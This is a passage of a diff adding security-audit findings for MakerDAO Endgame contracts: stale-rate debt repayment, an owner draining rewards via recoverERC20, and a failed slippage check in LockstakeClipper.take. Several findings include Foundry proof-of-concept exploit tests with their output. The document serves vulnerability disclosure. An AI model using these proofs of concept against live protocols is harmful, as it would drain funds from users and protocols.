require(either(both(dart <= 0, dink >= 0), tab <= _mul(urn.ink, ilk.spot)), "Vat/not-safe"); + + // urn is either more safe, or the owner consents + require(either(both(dart <= 0, dink >= 0), wish(u, msg.sender)), "Vat/not-allowed-u"); + // collateral src consents + require(either(dink <= 0, wish(v, msg.sender)), "Vat/not-allowed-v"); + // debt dst consents + require(either(dart >= 0, wish(w, msg.sender)), "Vat/not-allowed-w"); + + // urn has no debt, or a non-dusty amount + require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust"); + + gem[i][v] = _sub(gem[i][v], dink); + dai[w] = _add(dai[w], dtab); + + urns[i][u] = urn; + ilks[i] = ilk; + } +``` +In the frob function, the user’s debt in USD is _mul(ilk.rate, urn.art), and the value of the collateral in USD is _mul(urn.ink, ilk.spot). The user’s debt in USD needs to be less than the value of the collateral in USD. However, due to the use of an outdated rate, the debt value calculation is inaccurate. The actual debt value may already be greater than the collateral value. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. jug.drip has not been called for a while, so ilk.rate has not been updated. + +### Attack Path + +1. Users notice that ilk.rate has not been updated for a considerable amount of time. +2. Users perform wipe() and free() operations, avoiding the payment of stability fees for this period. + +### Impact + +The protocol suffers a financial loss. + +### PoC + +_No response_ + +### Mitigation + +Add the jug.drip() call in the wipe(), wipeAll(), and free() functions. \ No newline at end of file diff --git a/003/125.md b/003/125.md new file mode 100644 index 0000000..5600d39 --- /dev/null +++ b/003/125.md @@ -0,0 +1,116 @@ +Itchy Slate Boa + +Medium + +# wipe function will use stale rate when ilk in the engine is not updated through Jug.drip() + +### Summary + +Missing drip call to the jug, will result of users paying their debt using stale rate. +`https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L391`, which is cheaper than new rate. which means loss for the protocol. + +### Root Cause + +missing drip call to the jug when calling wipe function in the LockstakeEngine.sol + +### Internal pre-conditions + +anyone can call wipe + +### External pre-conditions + +ilk in the lockstakeengine not being called for some period of times + +### Attack Path + +1. get a loan by calling draw() +2. call wipe() + +### Impact + +pay the debt using stale rate, which doesnt reflect the actual rate of the ilk + +### PoC + + +modified the test for testDrawWipe() +```Solidity + function testDrawWipe() public { + deal(address(mkr), address(this), 100_000 * 10**18, true); + address urn = engine.open(0); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urn, 100_000 * 10**18, 5); + assertEq(_art(ilk, urn), 0); + vm.expectEmit(true, true, true, true); + emit Draw(urn, address(this), 50 * 10**18); + engine.draw(urn, address(this), 50 * 10**18); + assertEq(_art(ilk, urn), 50 * 10**18); + assertEq(_rate(ilk), 10**27); + assertEq(nst.balanceOf(address(this)), 50 * 10**18); + vm.warp(block.timestamp + 1); + vm.expectEmit(true, true, true, true); + emit Draw(urn, address(this), 50 * 10**18); + engine.draw(urn, address(this), 50 * 10**18); + uint256 art = _art(ilk, urn); + uint256 expectedArt = 50 * 10**18 + _divup(50 * 10**18 * 100000000, 100000001); + assertEq(art, expectedArt); + uint256 rate = _rate(ilk); + assertEq(rate, 100000001 * 10**27 / 100000000); + assertEq(nst.balanceOf(address(this)), 100 * 10**18); + assertGt(art * rate, 100.0000005 * 10**45); + assertLt(art * rate, 100.0000006 * 10**45); + vm.expectRevert("Nst/insufficient-balance"); + engine.wipe(urn, 100.0000006 * 10**18); + address anyone = address(1221121); + deal(address(nst), anyone, 100.0000006 * 10**18, true); + assertEq(nst.balanceOf(anyone), 100.0000006 * 10**18); + vm.prank(anyone); nst.approve(address(engine), 100.0000006 * 10**18); + vm.expectRevert(); + vm.prank(anyone); engine.wipe(urn, 100.0000006 * 10**18); // It will try to wipe more art than existing, then reverts + vm.expectEmit(true, true, true, true); + emit Wipe(urn, 100.0000005 * 10**18); + + console.log("non revert wipe"); + vm.prank(anyone); + vm.warp(block.timestamp + 3 days); //move forward 3 days + IJug(0x19c0976f590D67707E62397C87829d896Dc0f1F1).drip(ilk); //comment this to make the test run like the original one + engine.wipe(urn, 100.0000005 * 10**18); + console.log(nst.balanceOf(anyone)); + vm.warp(block.timestamp - 3 days); // return to the original block.timestamp + //without drip + // non revert wipe + // 100000000000 + + + + assertEq(nst.balanceOf(anyone), 0.0000001 * 10**18); + assertEq(_art(ilk, urn), 1); // Dust which is impossible to wipe via this regular function + emit Wipe(urn, _divup(rate, RAY)); + vm.prank(anyone); assertEq(engine.wipeAll(urn), _divup(rate, RAY)); + assertEq(_art(ilk, urn), 0); + assertEq(nst.balanceOf(anyone), 0.0000001 * 10**18 - _divup(rate, RAY)); + address other = address(123); + assertEq(nst.balanceOf(other), 0); + emit Draw(urn, other, 50 * 10**18); + engine.draw(urn, other, 50 * 10**18); + assertEq(nst.balanceOf(other), 50 * 10**18); + // Check overflows + stdstore.target(address(dss.vat)).sig("ilks(bytes32)").with_key(ilk).depth(1).checked_write(1); + assertEq(_rate(ilk), 1); + vm.expectRevert("LockstakeEngine/overflow"); + engine.draw(urn, address(this), uint256(type(int256).max) / RAY + 1); + stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(uint256(type(int256).max) + RAY); + deal(address(nst), address(this), uint256(type(int256).max) / RAY + 1, true); + nst.approve(address(engine), uint256(type(int256).max) / RAY + 1); + vm.expectRevert("LockstakeEngine/overflow"); + engine.wipe(urn, uint256(type(int256).max) / RAY + 1); + stdstore.target(address(dss.vat)).sig("urns(bytes32,address)").with_key(ilk).with_key(urn).depth(1).checked_write(uint256(type(int256).max) + 1); + assertEq(_art(ilk, urn), uint256(type(int256).max) + 1); + vm.expectRevert("LockstakeEngine/overflow"); + engine.wipeAll(urn); + } +``` + +### Mitigation + +add jug.drip(ilk) like in the draw(), to use fresh rate when paying the debt. \ No newline at end of file diff --git a/004/004.md b/004/004.md new file mode 100644 index 0000000..0ae8b2a --- /dev/null +++ b/004/004.md @@ -0,0 +1,53 @@ +Cuddly Inky Rat + +Medium + +# Unrestricted Recovery of Rewards Tokens in Staking Contract + +## Summary +The recoverERC20 function in the StakingRewards contract allows the owner to withdraw any ERC-20 tokens from the contract, except for the staking token. However, there is no check to prevent the owner from withdrawing the rewards tokens accumulated over time, potentially leading to a rug pull where the owner can drain the rewards tokens meant for users. + +## Vulnerability Detail +The recoverERC20 function is designed to allow the owner to recover any ERC-20 tokens accidentally sent to the contract, except for the staking token. However, there is no check to prevent the recovery of the rewards token, which accumulates over time in the contract to be distributed to stakers. + +```solidity +// Assume `rewardsToken` is the token used for rewarding stakers. +address rewardsToken = address(0x...); // Replace with actual rewards token address + +// Function call by the owner to sweep rewards tokens +stakingRewardsContract.recoverERC20(rewardsToken, rewardsToken.balanceOf(address(stakingRewardsContract))); +``` +In this scenario, the owner calls recoverERC20 with the rewardsToken address and the full balance of rewardsToken held by the contract. This transfers all accumulated rewards tokens to the owner's address, potentially "rugging" the depositors by taking away the rewards meant for them. + +## Impact +Users lose their accumulated rewards. + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L166 + +## Code Snippet +```solidity + function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { + require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); + IERC20(tokenAddress).safeTransfer(owner, tokenAmount); + emit Recovered(tokenAddress, tokenAmount); + } +``` + +## Tool used +Manual Review + +## Recommendation +```solidity +function recoverERC20(address tokenAddress, uint256 tokenAmount) + external + onlyOwner +{ + --- require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); + +++ require( + tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken), + "Cannot withdraw the staking or rewards token" + ); + IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); + emit Recovered(tokenAddress, tokenAmount); +} +``` \ No newline at end of file diff --git a/004/041.md b/004/041.md new file mode 100644 index 0000000..8626bef --- /dev/null +++ b/004/041.md @@ -0,0 +1,125 @@ +Curved Cinnamon Tuna + +High + +# Unauthorized Token Recovery via recoverERC20 Function + +## Summary +The `recoverERC20` function allows the contract owner to recover any ERC20 token from the contract, except the staking token. While this is useful for recovering mistakenly sent tokens, it can be misused by a malicious to withdraw important tokens, potentially harming the users and the integrity of the contract. + +## Vulnerability Detail +1. Initial State: +- The contract holds a significant amount of ERC20 tokens, intended for user rewards or other purposes. +- Users have staked their tokens and are expecting to receive rewards. +2. Malicious Action: +- The owner, either maliciously or due to a compromised private key, decides to exploit the `recoverERC20` function. +- The owner calls `recoverERC20` with the address of a valuable ERC20 token and the amount to transfer. +3. Execution: +- The `recoverERC20` function executes successfully, transferring the specified ERC20 tokens from the contract to the owner's address. +- Example: +```solidity +stakingRewards.recoverERC20(address(rewardToken), rewardToken.balanceOf(address(stakingRewards))); +``` +4. Depletion of Contract Funds: +- The contract's balance of the specified ERC20 tokens is depleted. +- Users who were expecting rewards or other distributions from these tokens are now left without their expected returns. + +## Impact +- Financial Loss +- Erosion of Trust + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L166-L170 + +## Tool used + +Manual Review + +## Recommendation +- Implement role-based access control to restrict who can call `recoverERC20`. +- Introduce a time-lock mechanism to delay the execution of the `recoverERC20` function. +- Require multiple signatures from trusted parties before executing the `recoverERC20` function +- Implement monitoring and alert systems to detect and notify about any `recoverERC20` function calls. + +## PoC +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.25; + +import "forge-std/Test.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; +import "../src/synthetix/StakingRewards.sol"; + +// Custom ERC20 token with mint function +contract CustomERC20 is ERC20 { + constructor(string memory name, string memory symbol) ERC20(name, symbol) {} + + function mint(address to, uint256 amount) external { + _mint(to, amount); + } +} + +contract ExploitTest is Test { + CustomERC20 rewardToken; + CustomERC20 stakingToken; + StakingRewards stakingRewards; + address owner = address(0x1); + address rewardsDistribution = address(0x2); + address attacker = address(0x3); + address user = address(0x4); + + function setUp() public { + // Deploy custom ERC20 tokens + rewardToken = new CustomERC20("Reward Token", "RWT"); + stakingToken = new CustomERC20("Staking Token", "STK"); + + // Mint tokens + rewardToken.mint(owner, 1000 ether); + stakingToken.mint(user, 1000 ether); + + // Deploy StakingRewards contract + stakingRewards = new StakingRewards(owner, rewardsDistribution, address(rewardToken), address(stakingToken)); + + // Transfer reward tokens to staking contract + vm.startPrank(owner); + rewardToken.transfer(address(stakingRewards), 1000 ether); + vm.stopPrank(); + + // User stakes tokens + vm.startPrank(user); + stakingToken.approve(address(stakingRewards), 1000 ether); + stakingRewards.stake(100 ether); + vm.stopPrank(); + } + + function testExploit() public { + // Simulate the owner calling recoverERC20 + vm.startPrank(owner); + stakingRewards.recoverERC20(address(rewardToken), rewardToken.balanceOf(address(stakingRewards))); + vm.stopPrank(); + + // Verify that the contract's reward token balance is zero + assertEq(rewardToken.balanceOf(address(stakingRewards)), 0); + + // Verify that the owner's reward token balance has increased + assertEq(rewardToken.balanceOf(owner), 1000 ether); + + // Verify that the user's expected rewards are now zero + assertEq(stakingRewards.earned(user), 0); + + // If all assertions pass, the test will pass + } +} +``` +forge test --match-path test/ExploitTest.sol +[⠒] Compiling... +[⠊] Compiling 1 files with Solc 0.8.25 +[⠒] Solc 0.8.25 finished in 1.85s +Compiler run successful! + +Ran 1 test for test/ExploitTest.sol:ExploitTest +[PASS] testExploit() (gas: 71295) +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.75ms (8.98ms CPU time) + +Ran 1 test suite in 23.81ms (22.75ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) + diff --git a/004/053.md b/004/053.md new file mode 100644 index 0000000..1d7c7c8 --- /dev/null +++ b/004/053.md @@ -0,0 +1,30 @@ +Soft Turquoise Turtle + +Medium + +# StakingRewards.recoverERC20 allows owner to rug the rewardsToken + +## Summary +StakingRewards.recoverERC20 rightfully checks against the stakingToken being sweeped away. +However, there's no check against the rewardsToken which over time will sit in this contract. + +This is the case of an admin privilege, which allows the owner to sweep the rewards tokens, perhaps as a way to rug depositors. +## Vulnerability Detail + function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { + require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); + IERC20(tokenAddress).safeTransfer(owner, tokenAmount); + emit Recovered(tokenAddress, tokenAmount); + } +## Impact +Allows owner to rug the rewardsToken. +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L166C4-L170C6 +## Tool used + +Manual Review + +## Recommendation +require( +tokenAddress != address(rewardsToken), +"Cannot withdraw the rewards token" +); \ No newline at end of file diff --git a/005.md b/005.md new file mode 100644 index 0000000..0fdc387 --- /dev/null +++ b/005.md @@ -0,0 +1,53 @@ +Shambolic Fossilized Starling + +High + +# UUPSUpgradeable vulnerability in OpenZeppelin Contracts + +## Summary + +UUPSUpgradeable vulnerability in OpenZeppelin Contracts + +## Vulnerability Detail + +Openzeppelin has found the critical severity bug in UUPSUpgradeable. The Makerdao Endgame contracts have used openzeppelin upgrabable contracts with version ^1.20.6. [This](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/723f8cab09cdae1aca9ec9cc1cfa040c2d4b06c1/package.json) is confirmed from the package.json. + + `"@openzeppelin/docs-utils": "^0.1.5",` + `"@openzeppelin/test-helpers": "^0.5.13",` + `"@openzeppelin/upgrade-safe-transpiler": "^0.3.32",` + `"@openzeppelin/upgrades-core": "^1.20.6",` + +The `UUPSUpgradeable` vulnerability has been found in openzeppelin version as follows, + +`@openzeppelin/contracts : Affected versions >= 4.1.0 < 4.3.2` +`@openzeppelin/contracts-upgradeable : >= 4.1.0 < 4.3.2` + +However, openzeppelin has fixed this issue in version 4.3.2 + +Openzeppelin bug acceptance and fix: [check here](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-5vp3-v4hc-gx76) + +The following contract is affected due to this vulnerability + + SNst.sol + +This contract is UUPSUpgradeable and the issue needs to be fixed. + +## Impact + +Upgradeable contracts using UUPSUpgradeable may be vulnerable to an attack affecting uninitialized implementation contracts. + +## Code Snippet + +https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/723f8cab09cdae1aca9ec9cc1cfa040c2d4b06c1/package.json#L60C1-L63C46 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L23 + +## Tool used + +Manual Review + +## Recommendation + +- Update the openzeppelin library to latest version. +- Check [This](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301) openzeppelin security advisory to initialize the UUPS implementation contracts. +- Check [This](https://docs.openzeppelin.com/contracts/4.x/api/proxy) openzeppelin UUPS documentation. diff --git a/005/010.md b/005/010.md new file mode 100644 index 0000000..89acc52 --- /dev/null +++ b/005/010.md @@ -0,0 +1,575 @@ +Unique Pistachio Chipmunk + +Medium + +# LockstakeClipper.take() might use an actual auction price that is greater than ```max```, as a result, the slippage control fails and the taker pays more than he expects - loss of funds. + +### Summary +```LockstakeClipper.take()``` might use an actual auction price that is greater than ```max```, as a result, the slippage control fails and the taker pays more than he expects - loss of funds. + +Although we expect such loss is small for each transaction, consider that this might occur repeatedly and indefinitely for different users, I mark this as *medium*. + +### Root Cause +```LockstakeClipper.take()``` uses ```max`` as the slippage control to ensure that the taker will not bid for a price greater than ```max``. This is accomplished in L355. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L355C9-L355C65](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L355C9-L355C65) + +Unfortunately, this might not be the final price that is used since after ```slice``` and ```owe``` are determined, the actual ```slice``` and ```owe``` might be readjusted. In particular, the following rounding down error (L373 & L383) for calculating ```slice``` might lead to an actual price ```owe/slice``` that is greater than ```max```. This new actual price ```owe/slice``` is never compared to ```max```. So it is possible, the taker will use a larger price than ```max```. The slipper control might fail. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L369-L384](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L369-L384) + +### Internal pre-conditions + +at L373 and L383, we have a rounding down error for ```owe / price```. + +### External pre-conditions + +None + +### Attack Path +Consider the following setup for auction: +sale.pos: 0 + sale.tab: 110000000000000000000000000000000000000000000000 + sale.lot: 40000000000000000000 + sale.tot: 40000000000000000000 + sale.usr: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 + sale.tic: 604411200 + sale.top: 5000000000000000001250000000 + +and we call LockstakeClipper.take with: + id 1 + amt: 25000000000000000000 + max: 5000000000000000001250000000 + who: 0x000000000000000000000000000000000000006F + +The initial auction price calculated is: 5000000000000000001250000000 + +Therefore, the slippage control check will be passed at L355. + +After adjustments, we have: + final owe: 110000000000000000000000000000000000000000000000 + final slice: 21999999999999999994 + real price (owe/slice): 5000000000000000001363636363 + +The real price > max. + +In summary, the slipper control fails since the final real price is greater than ```max```. + +### Impact +```LockstakeClipper.take()``` might use an actual auction price thta is greater than ```max```, as a result, the slippage control fails and the taker pays more than he expects - loss of funds. + +### PoC + +The following is the POC to show that the slippage control for ```max``` fails and the taker might use an actual price higher than ```max```: + +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import { LockstakeClipper } from "src/LockstakeClipper.sol"; +import { LockstakeEngineMock } from "test/mocks/LockstakeEngineMock.sol"; +import { PipMock } from "test/mocks/PipMock.sol"; + +contract BadGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) + external { + sender; owe; slice; data; + clip.take({ // attempt reentrancy + id: 1, + amt: 25 ether, + max: 5 ether * 10E27, + who: address(this), + data: "" + }); + } +} + +contract RedoGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + owe; slice; data; + clip.redo(1, sender); + } +} + +contract KickGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.kick(1, 1, address(0), address(0)); + } +} + +contract FileUintGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.file("stopped", 1); + } +} + +contract FileAddrGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.file("vow", address(123)); + } +} + +contract YankGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.yank(1); + } +} + +contract PublicClip is LockstakeClipper { + + constructor(address vat, address spot, address dog, address engine) LockstakeClipper(vat, spot, dog, engine) {} + + function add() public returns (uint256 id) { + id = ++kicks; + active.push(id); + sales[id].pos = active.length - 1; + } + + function remove(uint256 id) public { + _remove(id); + } +} + +interface VatLike { + function dai(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + +interface VowLike { + +} + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + PipMock pip; + GemLike dai; + + LockstakeEngineMock engine; + LockstakeClipper clip; + + // Exchange exchange; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + address bob; + address che; + + bytes32 constant ilk = "LSE"; + uint256 constant price = 5 ether; + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + function _ink(bytes32 ilk_, address urn_) internal view returns (uint256) { + (uint256 ink_,) = dss.vat.urns(ilk_, urn_); + return ink_; + } + function _art(bytes32 ilk_, address urn_) internal view returns (uint256) { + (,uint256 art_) = dss.vat.urns(ilk_, urn_); + return art_; + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + modifier takeSetup { + address calc = CalcFabLike(dss.chainlog.getAddress("CALC_FAB")).newStairstepExponentialDecrease(address(this)); + CalcLike(calc).file("cut", RAY - ray(0.01 ether)); // 1% decrease + CalcLike(calc).file("step", 1); // Decrease every 1 second + + clip.file("buf", ray(1.25 ether)); // 25% Initial price buffer + clip.file("calc", address(calc)); // File price contract + clip.file("cusp", ray(0.3 ether)); // 70% drop before reset + clip.file("tail", 3600); // 1 hour before reset + + (uint256 ink, uint256 art) = dss.vat.urns(ilk, address(this)); + assertEq(ink, 40 ether); + assertEq(art, 100 ether); + + console2.log("ink: ", ink); + console2.log("art: ", art); + + assertEq(clip.kicks(), 0); + dss.dog.bark(ilk, address(this), address(this)); + assertEq(clip.kicks(), 1); + + console2.log("end of bark...."); + + + (ink, art) = dss.vat.urns(ilk, address(this)); + assertEq(ink, 0); + assertEq(art, 0); + + LockstakeClipper.Sale memory sale; + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(1); + assertEq(sale.pos, 0); + assertEq(sale.tab, rad(110 ether)); + assertEq(sale.lot, 40 ether); + assertEq(sale.tot, 40 ether); + assertEq(sale.usr, address(this)); + assertEq(sale.tic, block.timestamp); + console2.log("sale.top: ", sale.top); + assertEq(sale.top, 5000000000000000001250000000); // $4 plus 25% + + assertEq(dss.vat.gem(ilk, ali), 0); + assertEq(dss.vat.dai(ali), rad(1000 ether)); + assertEq(dss.vat.gem(ilk, bob), 0); + assertEq(dss.vat.dai(bob), rad(1000 ether)); + + _; + } + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + + pip = new PipMock(); + pip.setPrice(price); // Spot = $2.5 + console2.log("pip price: ", price); + + vm.startPrank(pauseProxy); + dss.vat.init(ilk); // init the collateral info identified by ```ilk``` + + // check source code for spotter + dss.spotter.file(ilk, "pip", address(pip)); // oracle + dss.spotter.file(ilk, "mat", ray(2 ether)); // 200% liquidation ratio for easier test calcs + console2.log("ray(2 ether):", ray(2 ether)); // 2*10**18 * 10 ** 9 + dss.spotter.poke(ilk); + (,, uint256 spot1,,) = dss.vat.ilks(ilk); + console2.log("spot price: ", spot1); // 2.5 ether * 10**9 + + + dss.vat.file(ilk, "dust", rad(20 ether)); // $20 dust, 20 ether * 10 ** 27 + console2.log("rad(20 ETHER): ", rad(20 ether)); + + dss.vat.file(ilk, "line", rad(10000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(10000 ether)); + + + dss.dog.file(ilk, "chop", 1.1 ether); // 10% chop + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + engine = new LockstakeEngineMock(address(dss.vat), ilk); + dss.vat.rely(address(engine)); + vm.stopPrank(); + + // dust and chop filed previously so clip.chost will be set correctly + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + clip.upchost(); // what does it do? // dust: 20 ether * 10**27, chop: 1.1 ether = chost = 22 ether * 10**27 + console2.log("chost: ", clip.chost()); + clip.rely(address(dss.dog)); + + vm.startPrank(pauseProxy); + dss.dog.file(ilk, "clip", address(clip)); // + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + + // add collateral for pauseProxy + dss.vat.slip(ilk, address(this), int256(1000 ether)); // simply gem[ilk][usr] = add(gem[ilk][usr], wad); + + vm.stopPrank(); + + assertEq(dss.vat.gem(ilk, address(this)), 1000 ether); + assertEq(dss.vat.dai(address(this)), 0); + + // move collateran between u and v and move debt between u and w + dss.vat.frob(ilk, address(this), address(this), address(this), 40 ether, 100 ether); // add collateral and add debt, u, v, w: v will pay the collateral, w will get the + assertEq(dss.vat.gem(ilk, address(this)), 960 ether); // move 40 ether from v to u as collateral, so remaining 960 gem + assertEq(dss.vat.dai(address(this)), rad(100 ether)); // borrow 100 ether DAI (and thus debt) and save it to v as vat.dai balance + // as a result, more collateral and more debt for u, and the loanded dai is in w + + pip.setPrice(4 ether + 1); // Spot = $2 /// ??????? + dss.spotter.poke(ilk); // Now unsafe + (,, uint256 spot2,,) = dss.vat.ilks(ilk); + console2.log("spot price: ", spot2); // 2.5 ether * 10**9, 2 000000000000000000 000000000 + + + ali = address(111); + bob = address(222); + che = address(333); + + dss.vat.hope(address(clip)); // can[address(this), clip] = 1 + vm.prank(ali); dss.vat.hope(address(clip)); // can[ali, clip] = 1 + vm.prank(bob); dss.vat.hope(address(clip)); // can[bob, clip] = 1 + + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(this), rad(1000 ether)); // increase rad(1000 ether) debt and unback DAI as the same time + dss.vat.suck(address(0), address(ali), rad(1000 ether)); // increase debt and unbacked DAI + dss.vat.suck(address(0), address(bob), rad(1000 ether)); + console2.log("rad(1000 ether: ", rad(1000 ether)); // rad means multiple by 10**27 + vm.stopPrank(); + + console.log("\n chop: ", dss.dog.chop(ilk)); + } + + function printAuction(uint id) public + { + LockstakeClipper.Sale memory sale; + + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(id); + console2.log("\n***************************************************************"); + console2.log("sale.pos: ", sale.pos); + console2.log("sale.tab: ", sale.tab); + console2.log("sale.lot: ", sale.lot); + console2.log("sale.tot: ", sale.tot); + console2.log("sale.usr:", sale.usr); + console2.log("sale.tic: ", sale.tic); + console2.log("sale.top: ", sale.top); + console2.log("***************************************************************\n"); + } + + + function testTake1() public takeSetup { + + printAuction(1); + + // Bid so owe (= 25 * 5 = 125 RAD) > tab (= 110 RAD) + // Readjusts slice to be tab/top = 25 + vm.prank(ali); + clip.take({ + id: 1, + amt: 25 ether, + max: 5000000000000000001250000000, + who: address(ali), + data: "" + }); + + assertEq(dss.vat.gem(ilk, ali), 21999999999999999994); // Didn't take whole lot + assertEq(dss.vat.dai(ali), rad(890 ether)); // Didn't pay more than tab (110) + assertEq(dss.vat.gem(ilk, address(this)), 1000 ether - 21999999999999999994); // 960 + (40 - 22) returned to usr + + // Assert auction ends + LockstakeClipper.Sale memory sale; + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(1); + assertEq(sale.pos, 0); + assertEq(sale.tab, 0); + assertEq(sale.lot, 0); + assertEq(sale.tot, 0); + assertEq(sale.usr, address(0)); + assertEq(sale.tic, 0); + assertEq(sale.top, 0); + + assertEq(dss.dog.Dirt(), 0); + + (,,, uint256 dirt) = dss.dog.ilks(ilk); + console2.log("dirt: ", dirt); + assertEq(dirt, 0); + } +} +``` + +_No response_ + +### Mitigation +In the take() function, we should compare the actual price to ```max```: + + +```diff +function take( + uint256 id, // Auction id + uint256 amt, // Upper limit on amount of collateral to buy [wad] + uint256 max, // Maximum acceptable price (DAI / collateral) [ray] + address who, // Receiver of collateral and external call address + bytes calldata data // Data to pass in external call; if length 0, no call is done + ) external lock isStopped(3) { + + address usr = sales[id].usr; + uint96 tic = sales[id].tic; + + require(usr != address(0), "LockstakeClipper/not-running-auction"); + + uint256 price; + { + bool done; + (done, price) = status(tic, sales[id].top); + + // Check that auction doesn't need reset + require(!done, "LockstakeClipper/needs-reset"); + } + + // Ensure price is acceptable to buyer +- require(max >= price, "LockstakeClipper/too-expensive"); + + uint256 lot = sales[id].lot; + uint256 tab = sales[id].tab; + uint256 owe; + + { + // Purchase as much as possible, up to amt + uint256 slice = min(lot, amt); // slice <= lot + + // DAI needed to buy a slice of this sale + owe = slice * price; + + // Don't collect more than tab of DAI + if (owe > tab) { + // Total debt will be paid + owe = tab; // owe' <= owe + // Adjust slice + slice = owe / price; // slice' = owe' / price <= owe / price == slice <= lot + } else if (owe < tab && slice < lot) { + // If slice == lot => auction completed => dust doesn't matter + uint256 _chost = chost; + if (tab - owe < _chost) { // safe as owe < tab + // If tab <= chost, buyers have to 